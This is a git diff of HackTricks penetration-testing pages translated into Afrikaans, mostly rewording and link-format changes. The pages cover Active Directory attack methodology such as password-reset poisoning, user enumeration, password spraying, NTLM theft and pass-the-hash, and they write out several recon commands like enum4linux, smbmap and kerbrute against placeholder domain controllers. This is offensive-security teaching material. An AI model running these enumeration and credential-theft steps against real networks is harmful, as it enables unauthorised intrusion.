- [https://github.com/malrev/ABD](https://github.com/malrev/ABD) (Binarie deobfuscation)
|
||||
- [https://github.com/malrev/ABD](https://github.com/malrev/ABD) (Binaire deobfuscation)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
4
src/robots.txt
Normal file
4
src/robots.txt
Normal file
@ -0,0 +1,4 @@
|
||||
Sitemap: https://www.hacktricks.wiki/sitemap.xml
|
||||
|
||||
User-agent: *
|
||||
Disallow:
|
@ -48,7 +48,9 @@ Take it to the top
|
||||
|
||||
Whisper my world
|
||||
```
|
||||
{% embed url="https://codewithrockstar.com/" %}
|
||||
{{#ref}}
|
||||
https://codewithrockstar.com/
|
||||
{{#endref}}
|
||||
|
||||
## PETOOH
|
||||
```
|
||||
|
@ -5,12 +5,14 @@
|
||||
- **Eenvoudige Lys:** Net 'n lys wat 'n inskrywing in elke lyn bevat
|
||||
- **Runtime Lêer:** 'n Lys wat tydens uitvoering gelees word (nie in geheue gelaai nie). Vir ondersteuning van groot lyste.
|
||||
- **Geval Wysiging:** Pas 'n paar veranderinge toe op 'n lys van stringe (Geen verandering, na laer, na HOOF, na Regte naam - Eerste hoofletter en die res na laer-, na Regte Naam - Eerste hoofletter en die res bly dieselfde-).
|
||||
- **Nommer:** Genereer nommers van X tot Y met Z stap of ewekansig.
|
||||
- **Nommer:** Genereer nommers van X tot Y met 'n Z stap of ewekansig.
|
||||
- **Brute Forcer:** Karakterstel, minimum & maksimum lengte.
|
||||
|
||||
[https://github.com/0xC01DF00D/Collabfiltrator](https://github.com/0xC01DF00D/Collabfiltrator) : Payload om opdragte uit te voer en die uitvoer te verkry via DNS versoeke aan burpcollab.
|
||||
[https://github.com/0xC01DF00D/Collabfiltrator](https://github.com/0xC01DF00D/Collabfiltrator) : Payload om opdragte uit te voer en die uitvoer te verkry via DNS versoeke na burpcollab.
|
||||
|
||||
{% embed url="https://medium.com/@ArtsSEC/burp-suite-exporter-462531be24e" %}
|
||||
{{#ref}}
|
||||
https://medium.com/@ArtsSEC/burp-suite-exporter-462531be24e
|
||||
{{#endref}}
|
||||
|
||||
[https://github.com/h3xstream/http-script-generator](https://github.com/h3xstream/http-script-generator)
|
||||
|
||||
|
@ -4,14 +4,14 @@
|
||||
|
||||
### Host header
|
||||
|
||||
Verskeie kere vertrou die back-end op die **Host header** om sekere aksies uit te voer. Byvoorbeeld, dit kan sy waarde gebruik as die **domein om 'n wagwoordherstel te stuur**. So wanneer jy 'n e-pos ontvang met 'n skakel om jou wagwoord te herstel, is die domein wat gebruik word die een wat jy in die Host header geplaas het. Dan kan jy die wagwoordherstel van ander gebruikers aanvra en die domein verander na een wat deur jou beheer word om hul wagwoordherstelkodes te steel. [WriteUp](https://medium.com/nassec-cybersecurity-writeups/how-i-was-able-to-take-over-any-users-account-with-host-header-injection-546fff6d0f2).
|
||||
Verskeie kere vertrou die agterkant op die **Host header** om sekere aksies uit te voer. Byvoorbeeld, dit kan sy waarde gebruik as die **domein om 'n wagwoordherstel te stuur**. So wanneer jy 'n e-pos ontvang met 'n skakel om jou wagwoord te herstel, is die domein wat gebruik word die een wat jy in die Host header geplaas het. Dan kan jy die wagwoordherstel van ander gebruikers aanvra en die domein verander na een wat deur jou beheer word om hul wagwoordherstelkodes te steel. [WriteUp](https://medium.com/nassec-cybersecurity-writeups/how-i-was-able-to-take-over-any-users-account-with-host-header-injection-546fff6d0f2).
|
||||
|
||||
> [!WARNING]
|
||||
> Let daarop dat dit moontlik is dat jy selfs nie hoef te wag vir die gebruiker om op die wagwoordherstel skakel te klik om die token te kry nie, aangesien selfs **spamfilters of ander intermediêre toestelle/bots dit mag klik om dit te analiseer**.
|
||||
|
||||
### Sessie booleans
|
||||
|
||||
Soms, wanneer jy sekere verifikasies korrek voltooi, sal die back-end **net 'n boolean met die waarde "True" by 'n sekuriteitsattribuut van jou sessie voeg**. Dan sal 'n ander eindpunt weet of jy daardie toets suksesvol geslaag het.\
|
||||
Soms, wanneer jy sekere verifikasies korrek voltooi, sal die agterkant **net 'n boolean met die waarde "True" by 'n sekuriteitsattribuut van jou sessie voeg**. Dan sal 'n ander eindpunt weet of jy daardie toets suksesvol geslaag het.\
|
||||
As jy egter die **toets slaag** en jou sessie daardie "True" waarde in die sekuriteitsattribuut toegeken word, kan jy probeer om **toegang te verkry tot ander hulpbronne** wat **afhang van dieselfde attribuut** maar waarvoor jy **nie toestemming behoort te hê nie**. [WriteUp](https://medium.com/@ozguralp/a-less-known-attack-vector-second-order-idor-attacks-14468009781a).
|
||||
|
||||
### Registreer funksionaliteit
|
||||
@ -24,11 +24,13 @@ Registreer 'n e-pos, voordat jy dit bevestig, verander die e-pos, dan, as die nu
|
||||
|
||||
### Toegang tot interne servicedesk van maatskappye wat atlassian gebruik
|
||||
|
||||
{% embed url="https://yourcompanyname.atlassian.net/servicedesk/customer/user/login" %}
|
||||
{{#ref}}
|
||||
https://yourcompanyname.atlassian.net/servicedesk/customer/user/login
|
||||
{{#endref}}
|
||||
|
||||
### TRACE metode
|
||||
|
||||
Ontwikkelaars mag vergeet om verskeie foutopsporing opsies in die produksie-omgewing te deaktiveer. Byvoorbeeld, die HTTP `TRACE` metode is ontwerp vir diagnostiese doeleindes. As dit geaktiveer is, sal die webbediener op versoeke wat die `TRACE` metode gebruik, reageer deur in die antwoord die presiese versoek wat ontvang is, te herhaal. Hierdie gedrag is dikwels onskadelik, maar lei soms tot inligtingsontsluiting, soos die naam van interne verifikasie headers wat aan versoeke deur omgekeerde proxies bygevoeg mag word.
|
||||
Ontwikkelaars mag vergeet om verskeie foutopsporing opsies in die produksie-omgewing te deaktiveer. Byvoorbeeld, die HTTP `TRACE` metode is ontwerp vir diagnostiese doeleindes. As dit geaktiveer is, sal die webbediener op versoeke wat die `TRACE` metode gebruik, reageer deur in die antwoord die presiese versoek wat ontvang is, te herhaal. Hierdie gedrag is dikwels onskadelik, maar lei soms tot inligtingsontsluiting, soos die naam van interne verifikasie headers wat aan versoeke deur omgekeerde proxies mag bygevoeg word.
|
||||
|
||||

|
||||
|
||||
|
@ -1,49 +1,95 @@
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
{% embed url="https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/#python-tty-shell-trick" %}
|
||||
{{#ref}}
|
||||
https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/#python-tty-shell-trick
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://hausec.com/pentesting-cheatsheet/#_Toc475368982" %}
|
||||
{{#ref}}
|
||||
https://hausec.com/pentesting-cheatsheet/#_Toc475368982
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://anhtai.me/pentesting-cheatsheet/" %}
|
||||
{{#ref}}
|
||||
https://anhtai.me/pentesting-cheatsheet/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html" %}
|
||||
{{#ref}}
|
||||
https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://ired.team/offensive-security-experiments/offensive-security-cheetsheets" %}
|
||||
{{#ref}}
|
||||
https://ired.team/offensive-security-experiments/offensive-security-cheetsheets
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://chryzsh.gitbooks.io/pentestbook/basics_of_windows.html" %}
|
||||
{{#ref}}
|
||||
https://chryzsh.gitbooks.io/pentestbook/basics_of_windows.html
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://github.com/wwong99/pentest-notes/blob/master/oscp_resources/OSCP-Survival-Guide.md" %}
|
||||
{{#ref}}
|
||||
https://github.com/wwong99/pentest-notes/blob/master/oscp_resources/OSCP-Survival-Guide.md
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://anhtai.me/oscp-fun-guide/" %}
|
||||
{{#ref}}
|
||||
https://anhtai.me/oscp-fun-guide/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://www.thehacker.recipes/" %}
|
||||
{{#ref}}
|
||||
https://www.thehacker.recipes/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings" %}
|
||||
{{#ref}}
|
||||
https://github.com/swisskyrepo/PayloadsAllTheThings
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://gtfobins.github.io/" %}
|
||||
{{#ref}}
|
||||
https://gtfobins.github.io/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://github.com/RistBS/Awesome-RedTeam-Cheatsheet" %}
|
||||
{{#ref}}
|
||||
https://github.com/RistBS/Awesome-RedTeam-Cheatsheet
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet" %}
|
||||
{{#ref}}
|
||||
https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://hideandsec.sh/" %}
|
||||
{{#ref}}
|
||||
https://hideandsec.sh/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://cheatsheet.haax.fr/" %}
|
||||
{{#ref}}
|
||||
https://cheatsheet.haax.fr/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://infosecwriteups.com/" %}
|
||||
{{#ref}}
|
||||
https://infosecwriteups.com/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://www.exploit-db.com/" %}
|
||||
{{#ref}}
|
||||
https://www.exploit-db.com/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://wadcoms.github.io/" %}
|
||||
{{#ref}}
|
||||
https://wadcoms.github.io/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://lolbas-project.github.io" %}
|
||||
{{#ref}}
|
||||
https://lolbas-project.github.io
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://pentestbook.six2dez.com/" %}
|
||||
{{#ref}}
|
||||
https://pentestbook.six2dez.com/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://www.hackingarticles.in/" %}
|
||||
{{#ref}}
|
||||
https://www.hackingarticles.in/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://pentestlab.blog/" %}
|
||||
{{#ref}}
|
||||
https://pentestlab.blog/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://ippsec.rocks/" %}
|
||||
{{#ref}}
|
||||
https://ippsec.rocks/
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -4,7 +4,7 @@
|
||||
|
||||
## Basiese oorsig
|
||||
|
||||
**Aktiewe Gids** dien as 'n fundamentele tegnologie, wat **netwerkadministrateurs** in staat stel om doeltreffend **domeine**, **gebruikers**, en **objekte** binne 'n netwerk te skep en te bestuur. Dit is ontwerp om te skaal, wat die organisasie van 'n groot aantal gebruikers in hanteerbare **groepe** en **subgroepe** vergemaklik, terwyl **toegangregte** op verskillende vlakke beheer word.
|
||||
**Aktiewe Gids** dien as 'n fundamentele tegnologie, wat **netwerkadministrateurs** in staat stel om doeltreffend **domeine**, **gebruikers** en **objekte** binne 'n netwerk te skep en te bestuur. Dit is ontwerp om te skaal, wat die organisasie van 'n groot aantal gebruikers in hanteerbare **groepe** en **subgroepe** vergemaklik, terwyl **toegangregte** op verskillende vlakke beheer word.
|
||||
|
||||
Die struktuur van **Aktiewe Gids** bestaan uit drie primêre lae: **domeine**, **bome**, en **woude**. 'n **domein** omvat 'n versameling van objekte, soos **gebruikers** of **toestelle**, wat 'n gemeenskaplike databasis deel. **Bome** is groepe van hierdie domeine wat deur 'n gedeelde struktuur verbind is, en 'n **woud** verteenwoordig die versameling van verskeie bome, wat deur **vertrouensverhoudings** met mekaar verbind is, wat die boonste laag van die organisatoriese struktuur vorm. Spesifieke **toegang** en **kommunikasie regte** kan op elk van hierdie vlakke aangewys word.
|
||||
|
||||
@ -34,7 +34,7 @@ Om te leer hoe om 'n **AD** aan te val, moet jy die **Kerberos verifikasie prose
|
||||
|
||||
## Spiekbrief
|
||||
|
||||
Jy kan baie vind op [https://wadcoms.github.io/](https://wadcoms.github.io) om 'n vinnige oorsig te kry van watter opdragte jy kan uitvoer om 'n AD te evalueer/exploit.
|
||||
Jy kan baie na [https://wadcoms.github.io/](https://wadcoms.github.io) neem om 'n vinnige oorsig te kry van watter opdragte jy kan uitvoer om 'n AD te evalueer/exploit.
|
||||
|
||||
## Recon Aktiewe Gids (Geen krediete/sessies)
|
||||
|
||||
@ -45,7 +45,7 @@ As jy net toegang het tot 'n AD omgewing maar jy het geen krediete/sessies nie,
|
||||
- DNS te evalueer kan inligting oor sleutelbedieners in die domein gee soos web, drukkers, gedeeltes, vpn, media, ens.
|
||||
- `gobuster dns -d domain.local -t 25 -w /opt/Seclist/Discovery/DNS/subdomain-top2000.txt`
|
||||
- Kyk na die Algemene [**Pentesting Metodologie**](../../generic-methodologies-and-resources/pentesting-methodology.md) om meer inligting te vind oor hoe om dit te doen.
|
||||
- **Kontroleer vir null en Gaste toegang op smb dienste** (dit sal nie werk op moderne Windows weergawes nie):
|
||||
- **Kontroleer vir null en Gaste toegang op smb dienste** (dit sal nie op moderne Windows weergawes werk nie):
|
||||
- `enum4linux -a -u "" -p "" <DC IP> && enum4linux -a -u "guest" -p "" <DC IP>`
|
||||
- `smbmap -u "" -p "" -P 445 -H <DC IP> && smbmap -u "guest" -p "" -P 445 -H <DC IP>`
|
||||
- `smbclient -U '%' -L //<DC IP> && smbclient -U 'guest%' -L //`
|
||||
@ -69,14 +69,14 @@ As jy net toegang het tot 'n AD omgewing maar jy het geen krediete/sessies nie,
|
||||
- Versamel krediete **deur** [**valse UPnP dienste met evil-S**](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856)
|
||||
- [**OSINT**](https://book.hacktricks.xyz/external-recon-methodology):
|
||||
- Trek gebruikersname/names uit interne dokumente, sosiale media, dienste (hoofsaaklik web) binne die domein omgewings en ook uit die publiek beskikbaar.
|
||||
- As jy die volledige name van maatskappywerkers vind, kan jy verskillende AD **gebruikersnaam konvensies** probeer (**[**lees dit**](https://activedirectorypro.com/active-directory-user-naming-convention/)). Die mees algemene konvensies is: _NaamVan_, _Naam.Van_, _NamVan_ (3 letters van elkeen), _Nam.Van_, _NVaan_, _N.Van_, _VanNaam_, _Van.Naam_, _VanN_, _Van.N_, 3 _willekeurige letters en 3 willekeurige nommers_ (abc123).
|
||||
- As jy die volledige name van maatskappywerkers vind, kan jy verskillende AD **gebruikersnaam konvensies** probeer (**[**lees dit**](https://activedirectorypro.com/active-directory-user-naming-convention/)). Die mees algemene konvensies is: _NaamVan_, _Naam.Van_, _NamVan_ (3 letters van elkeen), _Nam.Van_, _NVaan_, _N.Van_, _VanNaam_, _Van.Naam_, _VanN_, _Van.N_, 3 _ewekansige letters en 3 ewekansige nommers_ (abc123).
|
||||
- Gereedskap:
|
||||
- [w0Tx/generate-ad-username](https://github.com/w0Tx/generate-ad-username)
|
||||
- [urbanadventurer/username-anarchy](https://github.com/urbanadventurer/username-anarchy)
|
||||
|
||||
### Gebruikersevaluering
|
||||
|
||||
- **Anonieme SMB/LDAP enum:** Kontroleer die [**pentesting SMB**](../../network-services-pentesting/pentesting-smb/) en [**pentesting LDAP**](../../network-services-pentesting/pentesting-ldap.md) bladsye.
|
||||
- **Anonieme SMB/LDAP enum:** Kyk na die [**pentesting SMB**](../../network-services-pentesting/pentesting-smb/) en [**pentesting LDAP**](../../network-services-pentesting/pentesting-ldap.md) bladsye.
|
||||
- **Kerbrute enum**: Wanneer 'n **ongeldige gebruikersnaam aangevra** word, sal die bediener reageer met die **Kerberos fout** kode _KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN_, wat ons in staat stel om te bepaal dat die gebruikersnaam ongeldig was. **Geldige gebruikersname** sal of die **TGT in 'n AS-REP** antwoord of die fout _KRB5KDC_ERR_PREAUTH_REQUIRED_ uitlok, wat aandui dat die gebruiker verplig is om vooraf-verifikasie te doen.
|
||||
```bash
|
||||
./kerbrute_linux_amd64 userenum -d lab.ropnop.com --dc 10.10.10.10 usernames.txt #From https://github.com/ropnop/kerbrute/releases
|
||||
@ -113,7 +113,7 @@ Goed, so jy weet jy het reeds 'n geldige gebruikersnaam maar geen wagwoorde nie.
|
||||
|
||||
- [**ASREPRoast**](asreproast.md): As 'n gebruiker **nie** die attribuut _DONT_REQ_PREAUTH_ het nie, kan jy **'n AS_REP boodskap aan vra** vir daardie gebruiker wat sekere data bevat wat deur 'n afgeleide van die gebruiker se wagwoord geënkripteer is.
|
||||
- [**Password Spraying**](password-spraying.md): Kom ons probeer die mees **gewone wagwoorde** met elkeen van die ontdekte gebruikers, dalk gebruik 'n gebruiker 'n swak wagwoord (hou die wagwoordbeleid in gedagte!).
|
||||
- Let daarop dat jy ook **OWA bedieners kan spray** om toegang tot die gebruikers se posbedieners te probeer kry.
|
||||
- Let daarop dat jy ook **OWA bedieners kan spuit** om toegang tot die gebruikers se posbedieners te probeer kry.
|
||||
|
||||
{{#ref}}
|
||||
password-spraying.md
|
||||
@ -133,7 +133,7 @@ As jy daarin geslaag het om die aktiewe gids te enumereer, sal jy **meer e-posse
|
||||
|
||||
### Steel NTLM Krediete
|
||||
|
||||
As jy **ander PC's of gedeeltes** met die **null of gas gebruiker** kan **toegang** kry, kan jy **lêers plaas** (soos 'n SCF-lêer) wat, as dit op een of ander manier toegang verkry, 'n **NTML-authentisering teen jou** sal **aktiveer** sodat jy die **NTLM uitdaging** kan steel om dit te kraak:
|
||||
As jy **ander PC's of gedeeltes** met die **null of gas gebruiker** kan **toegang** hê, kan jy **lêers plaas** (soos 'n SCF-lêer) wat, as dit op een of ander manier toegang verkry, 'n **NTML-authentisering teen jou** sal **aktiveer** sodat jy die **NTLM uitdaging** kan steel om dit te kraak:
|
||||
|
||||
{{#ref}}
|
||||
../ntlm/places-to-steal-ntlm-creds.md
|
||||
@ -143,15 +143,15 @@ As jy **ander PC's of gedeeltes** met die **null of gas gebruiker** kan **toegan
|
||||
|
||||
Vir hierdie fase moet jy **die krediete of 'n sessie van 'n geldige domeinrekening gecompromitteer het.** As jy 'n paar geldige krediete of 'n shell as 'n domein gebruiker het, **moet jy onthou dat die opsies wat voorheen gegee is steeds opsies is om ander gebruikers te kompromitteer**.
|
||||
|
||||
Voordat jy die geverifieerde enumering begin, moet jy weet wat die **Kerberos dubbele hop probleem is.**
|
||||
Voordat jy die geverifieerde enumerasie begin, moet jy weet wat die **Kerberos dubbel hop probleem is.**
|
||||
|
||||
{{#ref}}
|
||||
kerberos-double-hop-problem.md
|
||||
{{#endref}}
|
||||
|
||||
### Enumering
|
||||
### Enumerasie
|
||||
|
||||
Om 'n rekening te kompromitteer is 'n **groot stap om die hele domein te begin kompromitteer**, want jy gaan in staat wees om die **Aktiewe Gids Enumering te begin:**
|
||||
Om 'n rekening te kompromitteer is 'n **groot stap om die hele domein te begin kompromitteer**, want jy gaan in staat wees om die **Aktiewe Gids Enumerasie te begin:**
|
||||
|
||||
Ten opsigte van [**ASREPRoast**](asreproast.md) kan jy nou elke moontlike kwesbare gebruiker vind, en ten opsigte van [**Password Spraying**](password-spraying.md) kan jy 'n **lys van al die gebruikersname** kry en die wagwoord van die gecompromitteerde rekening, leë wagwoorde en nuwe belowende wagwoorde probeer.
|
||||
|
||||
@ -159,10 +159,10 @@ Ten opsigte van [**ASREPRoast**](asreproast.md) kan jy nou elke moontlike kwesba
|
||||
- Jy kan ook [**powershell vir rekonsiliasie gebruik**](../basic-powershell-for-pentesters/) wat meer stil sal wees
|
||||
- Jy kan ook [**powerview gebruik**](../basic-powershell-for-pentesters/powerview.md) om meer gedetailleerde inligting te onttrek
|
||||
- 'n Ander wonderlike hulpmiddel vir rekonsiliasie in 'n aktiewe gids is [**BloodHound**](bloodhound.md). Dit is **nie baie stil nie** (afhangende van die versamelingsmetodes wat jy gebruik), maar **as jy nie omgee** daaroor nie, moet jy dit beslis probeer. Vind waar gebruikers RDP kan, vind pad na ander groepe, ens.
|
||||
- **Ander geoutomatiseerde AD enumering hulpmiddels is:** [**AD Explorer**](bloodhound.md#ad-explorer)**,** [**ADRecon**](bloodhound.md#adrecon)**,** [**Group3r**](bloodhound.md#group3r)**,** [**PingCastle**](bloodhound.md#pingcastle)**.**
|
||||
- **Ander geoutomatiseerde AD enumerasie hulpmiddels is:** [**AD Explorer**](bloodhound.md#ad-explorer)**,** [**ADRecon**](bloodhound.md#adrecon)**,** [**Group3r**](bloodhound.md#group3r)**,** [**PingCastle**](bloodhound.md#pingcastle)**.**
|
||||
- [**DNS rekords van die AD**](ad-dns-records.md) aangesien dit dalk interessante inligting kan bevat.
|
||||
- 'n **hulpmiddel met GUI** wat jy kan gebruik om die gids te enumereer is **AdExplorer.exe** van **SysInternal** Suite.
|
||||
- Jy kan ook in die LDAP-databasis soek met **ldapsearch** om na krediete in die velde _userPassword_ & _unixUserPassword_, of selfs vir _Description_ te kyk. cf. [Wagwoord in AD Gebruiker kommentaar op PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#password-in-ad-user-comment) vir ander metodes.
|
||||
- Jy kan ook in die LDAP databasis soek met **ldapsearch** om krediete in die velde _userPassword_ & _unixUserPassword_, of selfs vir _Description_ te soek. cf. [Wagwoord in AD Gebruiker kommentaar op PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#password-in-ad-user-comment) vir ander metodes.
|
||||
- As jy **Linux** gebruik, kan jy ook die domein enumereer met [**pywerview**](https://github.com/the-useless-one/pywerview).
|
||||
- Jy kan ook probeer om geoutomatiseerde hulpmiddels soos:
|
||||
- [**tomcarver16/ADSearch**](https://github.com/tomcarver16/ADSearch)
|
||||
@ -171,7 +171,7 @@ Ten opsigte van [**ASREPRoast**](asreproast.md) kan jy nou elke moontlike kwesba
|
||||
|
||||
Dit is baie maklik om al die domein gebruikersname van Windows te verkry (`net user /domain` ,`Get-DomainUser` of `wmic useraccount get name,sid`). In Linux kan jy gebruik: `GetADUsers.py -all -dc-ip 10.10.10.110 domain.com/username` of `enum4linux -a -u "user" -p "password" <DC IP>`
|
||||
|
||||
> Alhoewel hierdie Enumering afdeling klein lyk, is dit die belangrikste deel van alles. Toegang tot die skakels (hoofsaaklik die een van cmd, powershell, powerview en BloodHound), leer hoe om 'n domein te enumereer en oefen totdat jy gemaklik voel. Tydens 'n assessering sal dit die sleutelmoment wees om jou pad na DA te vind of om te besluit dat daar niks gedoen kan word nie.
|
||||
> Alhoewel hierdie Enumerasie afdeling klein lyk, is dit die belangrikste deel van alles. Toegang die skakels (hoofsaaklik die een van cmd, powershell, powerview en BloodHound), leer hoe om 'n domein te enumereer en oefen totdat jy gemaklik voel. Tydens 'n assessering sal dit die sleutelmoment wees om jou pad na DA te vind of om te besluit dat daar niks gedoen kan word nie.
|
||||
|
||||
### Kerberoast
|
||||
|
||||
@ -185,13 +185,13 @@ kerberoast.md
|
||||
|
||||
### Afgeleë verbinding (RDP, SSH, FTP, Win-RM, ens)
|
||||
|
||||
Sodra jy 'n paar krediete verkry het, kan jy kyk of jy toegang het tot enige **masjien**. Hiervoor kan jy **CrackMapExec** gebruik om te probeer om op verskeie bedieners met verskillende protokolle te verbind, ooreenkomstig jou poort skanderings.
|
||||
Sodra jy 'n paar krediete verkry het, kan jy kyk of jy toegang het tot enige **masjien**. Hiervoor kan jy **CrackMapExec** gebruik om te probeer om op verskeie bedieners met verskillende protokolle te verbind, volgens jou poort skanderings.
|
||||
|
||||
### Plaaslike Privilege Escalation
|
||||
|
||||
As jy gecompromitteerde krediete of 'n sessie as 'n gewone domein gebruiker het en jy het **toegang** met hierdie gebruiker tot **enige masjien in die domein**, moet jy probeer om jou pad te vind om **privileges plaaslik te verhoog en krediete te soek**. Dit is omdat jy slegs met plaaslike administrateurprivileges in staat sal wees om **hashes van ander gebruikers** in geheue (LSASS) en plaaslik (SAM) te **dump**.
|
||||
As jy gecompromitteerde krediete of 'n sessie as 'n gewone domein gebruiker het en jy het **toegang** met hierdie gebruiker tot **enige masjien in die domein**, moet jy probeer om jou pad te vind om **privileges plaaslik te verhoog en krediete te soek**. Dit is omdat slegs met plaaslike administrateur privileges jy in staat sal wees om **hashes van ander gebruikers** in geheue (LSASS) en plaaslik (SAM) te **dump**.
|
||||
|
||||
Daar is 'n volledige bladsy in hierdie boek oor [**plaaslike privilege escalatie in Windows**](../windows-local-privilege-escalation/) en 'n [**checklist**](../checklist-windows-privilege-escalation.md). Moet ook nie vergeet om [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) te gebruik nie.
|
||||
Daar is 'n volledige bladsy in hierdie boek oor [**plaaslike privilege escalasie in Windows**](../windows-local-privilege-escalation/) en 'n [**checklist**](../checklist-windows-privilege-escalation.md). Moet ook nie vergeet om [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) te gebruik nie.
|
||||
|
||||
### Huidige Sessie Kaartjies
|
||||
|
||||
@ -205,7 +205,7 @@ Dit is baie **onwaarskynlik** dat jy **kaartjies** in die huidige gebruiker sal
|
||||
```
|
||||
### NTML Relay
|
||||
|
||||
As jy daarin geslaag het om die aktiewe gids te enumereer, sal jy **meer e-posse en 'n beter begrip van die netwerk** hê. Jy mag in staat wees om NTML [**relay attacks**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)** te dwing.**
|
||||
As jy daarin geslaag het om die aktiewe gids te enumereer, sal jy **meer e-posse en 'n beter begrip van die netwerk** hê. Jy mag dalk in staat wees om NTML [**relay-aanvalle**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)** te dwing.**
|
||||
|
||||
### **Soek na Kredensiale in Rekenaar Deelshares**
|
||||
|
||||
@ -215,7 +215,7 @@ Nou dat jy 'n paar basiese kredensiale het, moet jy kyk of jy enige **interessan
|
||||
|
||||
### Steel NTLM Kredensiale
|
||||
|
||||
As jy **toegang tot ander rekenaars of deelshares** kan kry, kan jy **lêers plaas** (soos 'n SCF-lêer) wat, as dit op een of ander manier toegang verkry, **'n NTML-authentisering teen jou sal aktiveer** sodat jy die **NTLM-uitdaging** kan steel om dit te kraak:
|
||||
As jy **toegang tot ander rekenaars of deelshares** kan kry, kan jy **lêers plaas** (soos 'n SCF-lêer) wat, as dit op een of ander manier toegang verkry, **'n NTML-authentisering teen jou sal aktiveer** sodat jy die **NTLM-uitdaging** kan **steel** om dit te kraak:
|
||||
|
||||
{{#ref}}
|
||||
../ntlm/places-to-steal-ntlm-creds.md
|
||||
@ -235,19 +235,19 @@ printnightmare.md
|
||||
|
||||
### Hash ekstraksie
|
||||
|
||||
Hopelik het jy daarin geslaag om 'n **lokale admin** rekening te **kompromitteer** met behulp van [AsRepRoast](asreproast.md), [Password Spraying](password-spraying.md), [Kerberoast](kerberoast.md), [Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) insluitend relay, [EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md), [voorregte plaaslik te verhoog](../windows-local-privilege-escalation/).\
|
||||
Hopelik het jy daarin geslaag om 'n **lokale admin** rekening te **kompromitteer** met behulp van [AsRepRoast](asreproast.md), [Password Spraying](password-spraying.md), [Kerberoast](kerberoast.md), [Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) insluitend relay, [EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md), [bevoorregte eskalasie plaaslik](../windows-local-privilege-escalation/).\
|
||||
Dan is dit tyd om al die hashes in geheue en plaaslik te dump.\
|
||||
[**Lees hierdie bladsy oor verskillende maniere om die hashes te verkry.**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md)
|
||||
|
||||
### Pass the Hash
|
||||
|
||||
**Sodra jy die hash van 'n gebruiker het**, kan jy dit gebruik om **te verpersoonlik**.\
|
||||
Jy moet 'n **gereedskap** gebruik wat die **NTLM-authentisering met** daardie **hash** sal **uitvoer** of jy kan 'n nuwe **sessionlogon** skep en daardie **hash** binne die **LSASS** **inspuit**, sodat wanneer enige **NTLM-authentisering uitgevoer word**, daardie **hash gebruik sal word.** Die laaste opsie is wat mimikatz doen.\
|
||||
**Sodra jy die hash van 'n gebruiker het**, kan jy dit gebruik om die gebruiker te **verpersoonlik**.\
|
||||
Jy moet 'n **gereedskap** gebruik wat die **NTLM-authentisering** met daardie **hash** sal **uitvoer** of jy kan 'n nuwe **sessielogin** skep en daardie **hash** binne die **LSASS** **inspuit**, sodat wanneer enige **NTLM-authentisering uitgevoer word**, daardie **hash gebruik sal word.** Die laaste opsie is wat mimikatz doen.\
|
||||
[**Lees hierdie bladsy vir meer inligting.**](../ntlm/#pass-the-hash)
|
||||
|
||||
### Over Pass the Hash/Pass the Key
|
||||
|
||||
